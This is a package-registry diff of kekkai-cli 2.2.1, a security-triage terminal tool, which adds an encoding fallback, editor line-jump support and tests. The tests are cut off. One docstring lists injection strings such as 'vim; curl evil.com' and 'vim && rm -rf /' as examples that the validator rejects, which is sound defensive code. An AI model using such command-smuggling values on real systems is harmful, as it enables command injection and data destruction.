kekkai-cli 2.2.0__tar.gz → 2.2.1__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (149) hide show
  1. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/PKG-INFO +1 -1
  2. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/pyproject.toml +1 -1
  3. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/cli.py +4 -1
  4. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/output.py +1 -1
  5. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/triage/code_context.py +34 -10
  6. kekkai_cli-2.2.1/src/kekkai/triage/editor_support.py +166 -0
  7. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/triage/screens.py +16 -1
  8. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai_cli.egg-info/PKG-INFO +1 -1
  9. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai_cli.egg-info/SOURCES.txt +2 -0
  10. kekkai_cli-2.2.1/tests/test_editor_support.py +172 -0
  11. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_triage_code_context.py +60 -0
  12. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_triage_editor.py +80 -0
  13. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_triage_security.py +5 -3
  14. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/README.md +0 -0
  15. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/setup.cfg +0 -0
  16. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/__init__.py +0 -0
  17. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/compliance/__init__.py +0 -0
  18. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/compliance/hipaa.py +0 -0
  19. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/compliance/mappings.py +0 -0
  20. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/compliance/owasp.py +0 -0
  21. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/compliance/owasp_agentic.py +0 -0
  22. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/compliance/pci_dss.py +0 -0
  23. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/compliance/soc2.py +0 -0
  24. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/config.py +0 -0
  25. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/dojo.py +0 -0
  26. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/dojo_import.py +0 -0
  27. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/fix/__init__.py +0 -0
  28. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/fix/audit.py +0 -0
  29. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/fix/differ.py +0 -0
  30. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/fix/engine.py +0 -0
  31. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/fix/prompts.py +0 -0
  32. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/github/__init__.py +0 -0
  33. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/github/commenter.py +0 -0
  34. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/github/models.py +0 -0
  35. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/github/sanitizer.py +0 -0
  36. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/installer/__init__.py +0 -0
  37. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/installer/errors.py +0 -0
  38. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/installer/extract.py +0 -0
  39. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/installer/manager.py +0 -0
  40. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/installer/manifest.py +0 -0
  41. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/installer/verify.py +0 -0
  42. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/manifest.py +0 -0
  43. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/paths.py +0 -0
  44. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/policy.py +0 -0
  45. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/report/__init__.py +0 -0
  46. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/report/compliance_matrix.py +0 -0
  47. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/report/generator.py +0 -0
  48. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/report/html.py +0 -0
  49. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/report/pdf.py +0 -0
  50. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/report/unified.py +0 -0
  51. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/runner.py +0 -0
  52. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/scanners/__init__.py +0 -0
  53. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/scanners/backends/__init__.py +0 -0
  54. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/scanners/backends/base.py +0 -0
  55. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/scanners/backends/docker.py +0 -0
  56. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/scanners/backends/native.py +0 -0
  57. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/scanners/base.py +0 -0
  58. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/scanners/container.py +0 -0
  59. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/scanners/falco.py +0 -0
  60. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/scanners/gitleaks.py +0 -0
  61. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/scanners/semgrep.py +0 -0
  62. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/scanners/trivy.py +0 -0
  63. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/scanners/url_policy.py +0 -0
  64. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/scanners/zap.py +0 -0
  65. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/threatflow/__init__.py +0 -0
  66. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/threatflow/artifacts.py +0 -0
  67. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/threatflow/chunking.py +0 -0
  68. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/threatflow/core.py +0 -0
  69. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/threatflow/mermaid.py +0 -0
  70. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/threatflow/model_adapter.py +0 -0
  71. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/threatflow/prompts.py +0 -0
  72. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/threatflow/redaction.py +0 -0
  73. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/threatflow/sanitizer.py +0 -0
  74. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/triage/__init__.py +0 -0
  75. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/triage/app.py +0 -0
  76. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/triage/audit.py +0 -0
  77. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/triage/fix_screen.py +0 -0
  78. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/triage/ignore.py +0 -0
  79. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/triage/loader.py +0 -0
  80. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/triage/models.py +0 -0
  81. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai/triage/widgets.py +0 -0
  82. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai_cli.egg-info/dependency_links.txt +0 -0
  83. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai_cli.egg-info/entry_points.txt +0 -0
  84. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai_cli.egg-info/requires.txt +0 -0
  85. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai_cli.egg-info/top_level.txt +0 -0
  86. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai_core/__init__.py +0 -0
  87. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai_core/ci/__init__.py +0 -0
  88. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai_core/ci/benchmarks.py +0 -0
  89. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai_core/ci/metadata.py +0 -0
  90. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai_core/ci/validators.py +0 -0
  91. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai_core/docker/__init__.py +0 -0
  92. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai_core/docker/metadata.py +0 -0
  93. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai_core/docker/sbom.py +0 -0
  94. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai_core/docker/security.py +0 -0
  95. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai_core/docker/signing.py +0 -0
  96. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai_core/redaction.py +0 -0
  97. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai_core/slsa/__init__.py +0 -0
  98. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai_core/slsa/verify.py +0 -0
  99. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai_core/windows/__init__.py +0 -0
  100. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai_core/windows/chocolatey.py +0 -0
  101. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai_core/windows/installer.py +0 -0
  102. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai_core/windows/scoop.py +0 -0
  103. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/src/kekkai_core/windows/validators.py +0 -0
  104. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_cli_output.py +0 -0
  105. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_compliance.py +0 -0
  106. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_dojo_import.py +0 -0
  107. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_fix_engine.py +0 -0
  108. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_github_commenter_filter.py +0 -0
  109. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_github_commenter_format.py +0 -0
  110. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_github_commenter_limit.py +0 -0
  111. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_github_commenter_sanitize.py +0 -0
  112. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_installer_checksum.py +0 -0
  113. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_installer_extract.py +0 -0
  114. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_installer_manager.py +0 -0
  115. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_installer_manifest.py +0 -0
  116. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_installer_platform.py +0 -0
  117. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_kekkai_cli.py +0 -0
  118. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_kekkai_config.py +0 -0
  119. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_kekkai_dojo.py +0 -0
  120. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_kekkai_dojo_cli.py +0 -0
  121. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_kekkai_manifest.py +0 -0
  122. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_kekkai_paths.py +0 -0
  123. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_kekkai_runner.py +0 -0
  124. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_mermaid.py +0 -0
  125. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_policy.py +0 -0
  126. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_redaction.py +0 -0
  127. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_report.py +0 -0
  128. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_scanner_backends.py +0 -0
  129. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_scanner_base.py +0 -0
  130. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_scanner_container.py +0 -0
  131. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_scanner_digest_defaults.py +0 -0
  132. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_scanner_falco.py +0 -0
  133. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_scanner_gitleaks.py +0 -0
  134. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_scanner_native.py +0 -0
  135. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_scanner_semgrep.py +0 -0
  136. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_scanner_trivy.py +0 -0
  137. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_scanner_zap.py +0 -0
  138. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_slsa_provenance.py +0 -0
  139. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_threatflow_chunking.py +0 -0
  140. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_threatflow_model_adapter.py +0 -0
  141. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_threatflow_prompts.py +0 -0
  142. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_threatflow_redaction.py +0 -0
  143. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_threatflow_sanitizer.py +0 -0
  144. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_triage_audit.py +0 -0
  145. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_triage_ignore.py +0 -0
  146. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_triage_loader.py +0 -0
  147. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_triage_models.py +0 -0
  148. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_unified_report.py +0 -0
  149. {kekkai_cli-2.2.0 → kekkai_cli-2.2.1}/tests/test_url_policy.py +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: kekkai-cli
3
- Version: 2.2.0
3
+ Version: 2.2.1
4
4
  Summary: Terminal UI for Trivy/Semgrep/Gitleaks. Local-first security triage.
5
5
  Requires-Python: >=3.12
6
6
  Description-Content-Type: text/markdown
@@ -1,6 +1,6 @@
1
1
  [project]
2
2
  name = "kekkai-cli"
3
- version = "2.2.0"
3
+ version = "2.2.1"
4
4
  description = "Terminal UI for Trivy/Semgrep/Gitleaks. Local-first security triage."
5
5
  readme = "README.md"
6
6
  requires-python = ">=3.12"
@@ -1268,9 +1268,12 @@ def _command_triage(parsed: argparse.Namespace) -> int:
1268
1268
  except (OSError, json.JSONDecodeError, KeyError):
1269
1269
  pass
1270
1270
 
1271
- # Fall back to current directory if still not set
1271
+ # Fall back to current directory if still not set (with warning)
1272
1272
  if repo_path is None:
1273
1273
  repo_path = Path.cwd()
1274
+ console.print("[warning]⚠ Repo path not detected. Using current directory.[/warning]")
1275
+ console.print("[dim]Tip: Use --repo to specify repository root explicitly.[/dim]")
1276
+ console.print(f"[dim]Current directory: {repo_path}[/dim]\n")
1274
1277
 
1275
1278
  return run_triage(
1276
1279
  findings=findings,
@@ -57,7 +57,7 @@ BANNER_ASCII = r"""
57
57
  /_/\_\\___/_/\_/_/\_\\_,_/_/
58
58
  """
59
59
 
60
- VERSION = "2.2.0"
60
+ VERSION = "2.2.1"
61
61
 
62
62
 
63
63
  def print_dashboard() -> None:
@@ -210,22 +210,38 @@ class CodeContextExtractor:
210
210
  error=f"File too large for display ({size_mb:.1f}MB)",
211
211
  )
212
212
 
213
- # Read file content (with caching for performance)
213
+ # Read file content (with caching for performance and encoding fallback)
214
214
  cache_key = str(full_path)
215
215
  if cache_key in self._file_cache:
216
216
  file_content = self._file_cache[cache_key]
217
217
  else:
218
218
  try:
219
+ # Try UTF-8 first (strict mode)
219
220
  file_content = full_path.read_text(encoding="utf-8")
220
- # Cache the content
221
- self._file_cache[cache_key] = file_content
222
- # Evict oldest entry if cache is full (simple FIFO)
223
- if len(self._file_cache) > self._cache_max_size:
224
- # Remove first (oldest) entry
225
- oldest_key = next(iter(self._file_cache))
226
- del self._file_cache[oldest_key]
227
- except (OSError, UnicodeDecodeError) as e:
228
- # ASVS V7.4.1: Sanitized error
221
+ except UnicodeDecodeError:
222
+ # HOTFIX: Fallback to UTF-8 with replacement characters
223
+ # This allows viewing legacy files (Windows-1252, Latin-1) with � for invalid chars
224
+ # instead of completely hiding the file with "Cannot read file" error
225
+ logger.info(
226
+ "code_context_encoding_fallback",
227
+ extra={"file_path": Path(file_path).name, "reason": "non_utf8"},
228
+ )
229
+ try:
230
+ file_content = full_path.read_text(encoding="utf-8", errors="replace")
231
+ except (OSError, UnicodeDecodeError) as e:
232
+ # Even fallback failed (should be rare - permissions, etc.)
233
+ logger.warning(
234
+ "code_context_read_error",
235
+ extra={"file_path": Path(file_path).name, "error": str(e)},
236
+ )
237
+ return CodeContext(
238
+ code="",
239
+ language="",
240
+ vulnerable_line="",
241
+ error="Cannot read file (encoding error)",
242
+ )
243
+ except OSError as e:
244
+ # File read error (permissions, etc.)
229
245
  logger.warning(
230
246
  "code_context_read_error",
231
247
  extra={"file_path": Path(file_path).name, "error": str(e)},
@@ -237,6 +253,14 @@ class CodeContextExtractor:
237
253
  error="Cannot read file",
238
254
  )
239
255
 
256
+ # Cache the content
257
+ self._file_cache[cache_key] = file_content
258
+ # Evict oldest entry if cache is full (simple FIFO)
259
+ if len(self._file_cache) > self._cache_max_size:
260
+ # Remove first (oldest) entry
261
+ oldest_key = next(iter(self._file_cache))
262
+ del self._file_cache[oldest_key]
263
+
240
264
  # Extract code context using existing logic from fix engine
241
265
  code_context, vulnerable_line = self._prompt_builder.extract_code_context(
242
266
  file_content, line
@@ -0,0 +1,166 @@
1
+ """Editor-specific line jump syntax support.
2
+
3
+ Provides detection and command building for popular editors with
4
+ security validation per ASVS V5.1.3.
5
+ """
6
+
7
+ from __future__ import annotations
8
+
9
+ import re
10
+ from dataclasses import dataclass
11
+ from pathlib import Path
12
+
13
+ __all__ = [
14
+ "EditorConfig",
15
+ "detect_editor_config",
16
+ "validate_editor_name",
17
+ "EDITOR_REGISTRY",
18
+ ]
19
+
20
+ # ASVS V5.1.3: Only allow safe characters in editor names
21
+ EDITOR_NAME_PATTERN = re.compile(r"^[a-zA-Z0-9/_.-]+$")
22
+
23
+
24
+ @dataclass
25
+ class EditorConfig:
26
+ """Editor-specific command line configuration.
27
+
28
+ Attributes:
29
+ name: Canonical editor name (e.g., "vim", "code", "subl").
30
+ syntax_type: Command syntax category for building commands.
31
+ """
32
+
33
+ name: str
34
+ syntax_type: str # "vim", "vscode", "sublime", "notepadpp", "jetbrains"
35
+
36
+
37
+ # Editor registry mapping base names to configurations
38
+ EDITOR_REGISTRY: dict[str, EditorConfig] = {
39
+ # Vim family (syntax: editor +LINE file)
40
+ "vim": EditorConfig("vim", "vim"),
41
+ "nvim": EditorConfig("nvim", "vim"),
42
+ "neovim": EditorConfig("neovim", "vim"),
43
+ "vi": EditorConfig("vi", "vim"),
44
+ # Emacs family (syntax: editor +LINE file)
45
+ "emacs": EditorConfig("emacs", "vim"),
46
+ "nano": EditorConfig("nano", "vim"),
47
+ # VS Code (syntax: code -g file:line)
48
+ "code": EditorConfig("code", "vscode"),
49
+ "code-insiders": EditorConfig("code-insiders", "vscode"),
50
+ "codium": EditorConfig("codium", "vscode"), # VSCodium (FOSS fork)
51
+ # Sublime Text (syntax: subl file:line)
52
+ "subl": EditorConfig("subl", "sublime"),
53
+ "sublime": EditorConfig("sublime", "sublime"),
54
+ "sublime_text": EditorConfig("sublime_text", "sublime"),
55
+ # Atom (syntax: atom file:line) - legacy but still used
56
+ "atom": EditorConfig("atom", "sublime"),
57
+ # Notepad++ (syntax: notepad++ -nLINE file)
58
+ "notepad++": EditorConfig("notepad++", "notepadpp"),
59
+ "notepad++.exe": EditorConfig("notepad++.exe", "notepadpp"),
60
+ # JetBrains IDEs (syntax: editor --line LINE file)
61
+ "idea": EditorConfig("idea", "jetbrains"),
62
+ "pycharm": EditorConfig("pycharm", "jetbrains"),
63
+ "webstorm": EditorConfig("webstorm", "jetbrains"),
64
+ "phpstorm": EditorConfig("phpstorm", "jetbrains"),
65
+ "goland": EditorConfig("goland", "jetbrains"),
66
+ "rider": EditorConfig("rider", "jetbrains"),
67
+ "clion": EditorConfig("clion", "jetbrains"),
68
+ "rubymine": EditorConfig("rubymine", "jetbrains"),
69
+ }
70
+
71
+
72
+ def detect_editor_config(editor_name: str) -> EditorConfig:
73
+ """Detect editor configuration from name.
74
+
75
+ Args:
76
+ editor_name: Editor executable name (e.g., "vim", "/usr/bin/code").
77
+
78
+ Returns:
79
+ EditorConfig for the detected editor, or vim-style default if unknown.
80
+
81
+ Examples:
82
+ >>> detect_editor_config("vim").syntax_type
83
+ 'vim'
84
+ >>> detect_editor_config("/usr/local/bin/code").syntax_type
85
+ 'vscode'
86
+ >>> detect_editor_config("unknown-editor").syntax_type
87
+ 'vim'
88
+ """
89
+ # Extract base name from path
90
+ base_name = Path(editor_name).stem.lower()
91
+
92
+ # Handle .exe extension on Windows
93
+ if base_name.endswith(".exe"):
94
+ base_name = base_name[:-4]
95
+
96
+ # Lookup in registry
97
+ config = EDITOR_REGISTRY.get(base_name)
98
+ if config:
99
+ return config
100
+
101
+ # Default to vim-style syntax for unknown editors
102
+ return EditorConfig("unknown", "vim")
103
+
104
+
105
+ def validate_editor_name(editor: str) -> bool:
106
+ """Validate that editor name is safe to use.
107
+
108
+ Security: ASVS V5.1.3 - Validate data at trust boundaries.
109
+ Rejects editor names containing shell metacharacters to prevent
110
+ command injection attacks.
111
+
112
+ Args:
113
+ editor: Editor name from environment variable.
114
+
115
+ Returns:
116
+ True if editor name is safe, False if it contains unsafe characters.
117
+
118
+ Examples:
119
+ >>> validate_editor_name("vim")
120
+ True
121
+ >>> validate_editor_name("/usr/bin/code")
122
+ True
123
+ >>> validate_editor_name("vim; curl evil.com")
124
+ False
125
+ >>> validate_editor_name("vim && rm -rf /")
126
+ False
127
+ """
128
+ if not editor:
129
+ return False
130
+
131
+ # Check against safe pattern (alphanumeric + /.-_ only)
132
+ return bool(EDITOR_NAME_PATTERN.match(editor))
133
+
134
+
135
+ def build_editor_command(
136
+ editor_path: str, file_path: Path, line: int, editor_config: EditorConfig
137
+ ) -> list[str]:
138
+ """Build editor command arguments based on editor type.
139
+
140
+ Args:
141
+ editor_path: Full path to editor executable.
142
+ file_path: Path to file to open.
143
+ line: Line number to jump to.
144
+ editor_config: Editor configuration with syntax type.
145
+
146
+ Returns:
147
+ List of command arguments for subprocess.run().
148
+
149
+ Security:
150
+ ASVS V14.2.1 - Uses list args (not shell string) to prevent injection.
151
+ """
152
+ if editor_config.syntax_type == "vscode":
153
+ # VS Code: code -g file:line
154
+ return [editor_path, "-g", f"{file_path}:{line}"]
155
+ elif editor_config.syntax_type == "sublime":
156
+ # Sublime Text / Atom: editor file:line
157
+ return [editor_path, f"{file_path}:{line}"]
158
+ elif editor_config.syntax_type == "notepadpp":
159
+ # Notepad++: notepad++ -nLINE file
160
+ return [editor_path, f"-n{line}", str(file_path)]
161
+ elif editor_config.syntax_type == "jetbrains":
162
+ # JetBrains IDEs: editor --line LINE file
163
+ return [editor_path, "--line", str(line), str(file_path)]
164
+ else:
165
+ # Default (Vim/Emacs/Nano): editor +LINE file
166
+ return [editor_path, f"+{line}", str(file_path)]
@@ -436,6 +436,8 @@ class FindingDetailScreen(Screen[None]):
436
436
  import shutil
437
437
  import subprocess
438
438
 
439
+ from .editor_support import build_editor_command, detect_editor_config, validate_editor_name
440
+
439
441
  logger = logging.getLogger(__name__)
440
442
 
441
443
  if not self.finding.file_path or not self.finding.line:
@@ -448,6 +450,15 @@ class FindingDetailScreen(Screen[None]):
448
450
  # Get editor from environment (ASVS V5.1.3: validate before use)
449
451
  editor = os.environ.get("EDITOR", "vim")
450
452
 
453
+ # ASVS V5.1.3: Validate EDITOR value before use (reject shell metacharacters)
454
+ if not validate_editor_name(editor):
455
+ self.notify(
456
+ f"Editor '{editor}' contains unsafe characters. Set a valid $EDITOR.",
457
+ severity="error",
458
+ )
459
+ logger.warning("unsafe_editor_value", extra={"editor": editor})
460
+ return
461
+
451
462
  # Security validation: check editor exists and is executable
452
463
  editor_path = shutil.which(editor)
453
464
  if not editor_path:
@@ -463,18 +474,22 @@ class FindingDetailScreen(Screen[None]):
463
474
  self.notify(f"File not found: {self.finding.file_path}", severity="error")
464
475
  return
465
476
 
477
+ # Detect editor type and build appropriate command
478
+ editor_config = detect_editor_config(editor)
479
+
466
480
  # Log editor invocation (ASVS V16.7.1)
467
481
  logger.info(
468
482
  "editor_opened",
469
483
  extra={
470
484
  "editor": editor,
485
+ "editor_type": editor_config.syntax_type,
471
486
  "file": self.finding.file_path,
472
487
  "line": self.finding.line,
473
488
  },
474
489
  )
475
490
 
476
491
  # ASVS V14.2.1: Use list args (not shell=True) to prevent injection
477
- cmd = [editor_path, f"+{self.finding.line}", str(file_path)]
492
+ cmd = build_editor_command(editor_path, file_path, self.finding.line, editor_config)
478
493
 
479
494
  try:
480
495
  # Suspend TUI, run editor, then resume
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: kekkai-cli
3
- Version: 2.2.0
3
+ Version: 2.2.1
4
4
  Summary: Terminal UI for Trivy/Semgrep/Gitleaks. Local-first security triage.
5
5
  Requires-Python: >=3.12
6
6
  Description-Content-Type: text/markdown
@@ -64,6 +64,7 @@ src/kekkai/triage/__init__.py
64
64
  src/kekkai/triage/app.py
65
65
  src/kekkai/triage/audit.py
66
66
  src/kekkai/triage/code_context.py
67
+ src/kekkai/triage/editor_support.py
67
68
  src/kekkai/triage/fix_screen.py
68
69
  src/kekkai/triage/ignore.py
69
70
  src/kekkai/triage/loader.py
@@ -97,6 +98,7 @@ src/kekkai_core/windows/validators.py
97
98
  tests/test_cli_output.py
98
99
  tests/test_compliance.py
99
100
  tests/test_dojo_import.py
101
+ tests/test_editor_support.py
100
102
  tests/test_fix_engine.py
101
103
  tests/test_github_commenter_filter.py
102
104
  tests/test_github_commenter_format.py
@@ -0,0 +1,172 @@
1
+ """Unit tests for editor support module."""
2
+
3
+ from __future__ import annotations
4
+
5
+ from pathlib import Path
6
+
7
+ from kekkai.triage.editor_support import (
8
+ EditorConfig,
9
+ build_editor_command,
10
+ detect_editor_config,
11
+ validate_editor_name,
12
+ )
13
+
14
+
15
+ class TestEditorDetection:
16
+ """Tests for editor detection and configuration."""
17
+
18
+ def test_detect_vim_family(self) -> None:
19
+ """Test detection of Vim family editors."""
20
+ for editor in ["vim", "nvim", "neovim", "vi"]:
21
+ config = detect_editor_config(editor)
22
+ assert config.syntax_type == "vim"
23
+ assert config.name in ["vim", "nvim", "neovim", "vi"]
24
+
25
+ def test_detect_emacs_family(self) -> None:
26
+ """Test detection of Emacs family editors."""
27
+ for editor in ["emacs", "nano"]:
28
+ config = detect_editor_config(editor)
29
+ assert config.syntax_type == "vim" # Use vim-style syntax
30
+
31
+ def test_detect_vscode(self) -> None:
32
+ """Test detection of VS Code variants."""
33
+ for editor in ["code", "code-insiders", "codium"]:
34
+ config = detect_editor_config(editor)
35
+ assert config.syntax_type == "vscode"
36
+
37
+ def test_detect_vscode_with_path(self) -> None:
38
+ """Test detection works with full paths."""
39
